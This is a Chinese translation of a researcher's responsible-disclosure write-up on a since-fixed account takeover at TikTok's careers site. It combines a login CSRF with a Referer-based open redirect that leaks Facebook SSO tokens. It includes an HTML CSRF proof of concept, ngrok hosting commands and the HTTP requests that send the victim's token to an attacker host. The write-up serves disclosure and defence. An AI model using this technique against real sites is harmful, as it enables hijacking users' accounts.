该网站(careers.tiktok.com)漏洞报告于2020年10月17日通过Hackerone提交至TikTok,TikTok在12天内修复了该漏洞
该网站为TikTok的招聘网站,该网站使用Facebook和Linkedin实现单点登录。由于存在CSRF漏洞以及开放的重定向漏洞,恶意攻击者可能会接管该网站用户的账户。
该漏洞仅限于TikTok的招聘网站,不会影响TikTok 的其他网站或移动应用程序
为了实现账户接管,受害者使用自己Facebook账号在careers.tiktok.com上进行身份验证,同意与TikToK共享数据。此外受害者要在Facebook上有一个活跃的会话。
TikTok没有有效防范在登录点和Facebook交互中可能存在的CSRF问题。因此,恶意攻击者使用一个微不足道的CSRF攻击,就可以接管受害者账户:
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://careers.tiktok.com/api/v1/user/facebook/login"> <input type="hidden" name="next_url" value="https://redacted.tiktok.com/" /> <input type="submit" value="Submit request" /> </form> </body> </html>
如果我们忽略以下步骤,那么在常规登录流程结束后,受害者将被认证到他们自己的帐户中。
如果Referer头存在于https://careers.tiktok.com/api/v1/user/facebook/login 的请求中,则高度敏感的令牌会泄漏给潜在的攻击者控制的网站。
使用此令牌,攻击者就可以替代受害者进行身份验证。因为对于TikTok,无法验证该令牌的发起者是攻击者还是受害者。
就像Barth等人在2008年引入的web攻击者模型一样(https://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf ),我们设法让受害者访问攻击者控制的网站。此外,
如前所述,我们需要受害者将其Facebook帐户链接到TikTok的职业门户网站。
(0) 保存上述登录CSRF PoC并启动一个简单的web服务器:
$ python -m http.server 1234
(1) 通过ngrok反向代理以及安全传输层协议(TLS)获取一个具有有效证书的公共(子)域。方便进一步的漏洞利用
$ ngrok http 1234
(2) 受害者浏览https://abcdefghij.ngrok.io 上的POC(攻击者控制)来实施攻击,手动点击该POC(这也可以使用JavaScript来实现,以便对受害者隐藏请求)
(3) 没有其他的和受害者的交互,便会在careers.tiktok.com 发起一个登录的请求,在这一步中重要的是Referer头
GET /api/v1/user/facebook/login?next_url=https://careers.tiktok.com/ HTTP/1.1 Host: careers.tiktok.com [...] Referer: https://abcdefghij.ngrok.io Cookie: [REDACTED]
(4) 没有进一步的和受害者的互动,受害者被重定向到Facebook
HTTP/1.1 302 Moved Temporarily Server: nginx Content-Type: text/html; charset=utf-8 Content-Length: 283 Location: https://www.facebook.com/v3.2/dialog/oauth?client_id=792134571243895&redirect_uri=https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback&response_type=code&state=[REDACTED] [...]
(5) 由于受害者在Facebook上有一个活动会话,并且该帐户已经链接到careers.tiktok.com,Facebook将在不需要和受害者交互的情况下重新定向到 https://abcdefghij.ngrok.io
HTTP/1.1 302 Found
[...]
Location: https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_
(6) 在 https://abcdefghij.ngrok.io 将会接收到/api/v1/user/facebook/callback 的记录
重点:之所以这样做是因为该网站使用/api/v1/user/facebook/login请求中的Referer作为跳转的主机。由于此请求由攻击者控制,攻击者可以获得受害者的令牌参数
GET /api/v1/user/facebook/callback?next_url=https://careers.tiktok.com/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1 Host: abcdefghij.ngrok.io [...]
此时,具有发起CSRF攻击能力的攻击者将获得绑定到受害者Facebook帐户的令牌。
以下步骤是从攻击者的角度在新的浏览器会话中执行的:
(7) 攻击者在https://careers.tiktok.com/login 中单击Facebook按钮。
(8) 攻击者执行所有步骤并转发所有请求,直到最终请求(包括他的令牌)将被发送到 https://careers.tiktok.com/api/v1/user/facebook/callback 在此请求中,攻击者将其令牌
与先前获得的绑定到受害者帐户的令牌进行交换
GET /api/v1/user/facebook/callback?next_url=https://[redacted_domain_1]/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1 Host: careers.tiktok.com [...]
(9) 攻击者登录了受害者账号
通用流程如下所示:
恶意参与者可以使用跨站点请求伪造来接管受害者在careers.tiktok.com的帐户。
在初次报告期间提出了以下建议:
对要进行身份验证的端点实施CSRF保护,以减少登录中的CSRF漏洞(将用户验证到其帐户中)。
不要向第三方泄露敏感的身份验证相关参数,如令牌。如果Referer用于确定令牌的目标,则必须使用适当的白名单验证其值!
2020年10月17日:
[LH]通过Hackerone提供初始报告:https://hackerone.com/reports/1010522
2020年10月18日:[TikTok]对报告的CVSS评分较高(7.5)。
2020年10月28日:[TikTok]悬赏。
2020年10月29日:[TikTok]报告已解决。
2020年10月29日:[LH]修复成功重新测试。
负责任的披露过程堪称典范,为TikTok的应用程序安全团队致敬!
原文地址: https://security.lauritz-holtmann.de/advisories/tiktok-account-takeover/